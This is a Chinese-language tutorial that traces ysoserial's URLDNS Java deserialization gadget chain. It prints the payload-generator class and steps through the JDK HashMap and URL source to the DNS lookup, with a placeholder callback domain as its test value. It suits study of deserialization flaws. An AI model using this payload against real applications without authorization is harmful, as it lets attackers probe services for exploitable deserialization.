JAVA反序列化之URLDNS链分析

前言

从之前shiro、fastjson等反序列化漏洞刚曝出的时候，就接触ysoserial的工具利用了，不过这么久都没好好去学习过其中的利用链，这次先从其中的一个可以说是最简单的利用链URLDNS开始学起。

分析

单独看URLDNS的利用链，ysoserial的URLDNS代码：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

复制到IDEA中，并导入ysoserial的jar包，当然也可以直接构建生成整个ysoserial项目，然后找到对应的java文件进行调试。

先看下整体代码：

public class URLDNS implements ObjectPayload<Object> {

    public Object getObject(final String url) throws Exception {

        URLStreamHandler handler = new SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL(null, url, handler); 
        ht.put(u, url); 
        Reflections.setFieldValue(u, "hashCode", -1); 
        return ht;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

可看到代码量其实很少，这里简单介绍下getObject方法就是ysoserial调用生成payload的方法，先生成个poc并调试下，在调试配置处填入对应的测试参数：http://xxxxx.v1ntlyn.com

直接在PayloadRunner.run(URLDNS.class, args);处下断点，后面一步步跟随程序运行,查看序列化生成的过程

一步步跟入后，后面会来到ht.put(u, url);

这里的url值就是我们传入的参数，后面重点跟入分析。

这里查看下hashmap类的put方法，

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

这里又调用了putVal函数，而这里的key就是我们上面的url对象，并且key还是作为hash方法的参数，继续跟入hash方法，

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

跟入到hash方法后，发现这里调用了key.hashCode()，而这里的key就是java.net.URL对象，继续跟入查看URL类的hashcode方法，

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

而这里当hashCode值不为-1时，就会调用SilentURLStreamHandler类的hashCode方法，而我们知道，SilentURLStreamHandler类是URLStreamHandler抽象类的子类，再查看其Hashcode方法，

发现最终会调用getHostAddress方法，于是整条利用链就大概清晰了。

不过这是生成序列化对象过程调试，后面继续跟入反序列化的readObject查看下整条链的过程。

直接来到Hashmap类的readObject方法的putVal()下断点：

putVal(hash(key), key, value, false, false);

putVal方法中会调用hash方法，其中，hash方法的参数是一个java.net.URL对象，跟入hash方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里又调用了key的hashcode方法，而这里的key是java.net.URL对象，跟入查看URL类的hashcode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;
        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里hashCode不为-1的话就直接返回了，handler是URLStreamHandler对象，继续跟进其hashCode方法。

protected int hashCode(URL u) {
        int h = 0;
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
       ...
    }

到这里我们发现调用了getHostAddress方法，其实到这里就已经可以不用再跟入了，整条利用链已经很清晰了。

不过为了进一步理解poc的生成，我们继续跟入下getHostAddress方法，

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

之所以重写返回null是因为为了不会发起两次DNS请求，在序列化的时候重写getHostAddress方法就不会去执行到InetAddress.getByName(host); 这样生成poc的时候就只有在反序列化的时候才发起一次DNS请求

static class SilentURLStreamHandler extends URLStreamHandler {
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

所以，要完成这个反序列化，首先要实例化一个hashmap对象，并初始化一个URL对象，作为key放在hashmap对象中，还要设置hashcode的值为-1，才能调用到后面的getHostAddress方法从而发起dns请求。

最后简单总结下整条链：

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()

Reference：

https://govuln.com/attachment/627/

https://www.cnblogs.com/ph4nt0mer/p/11994384.html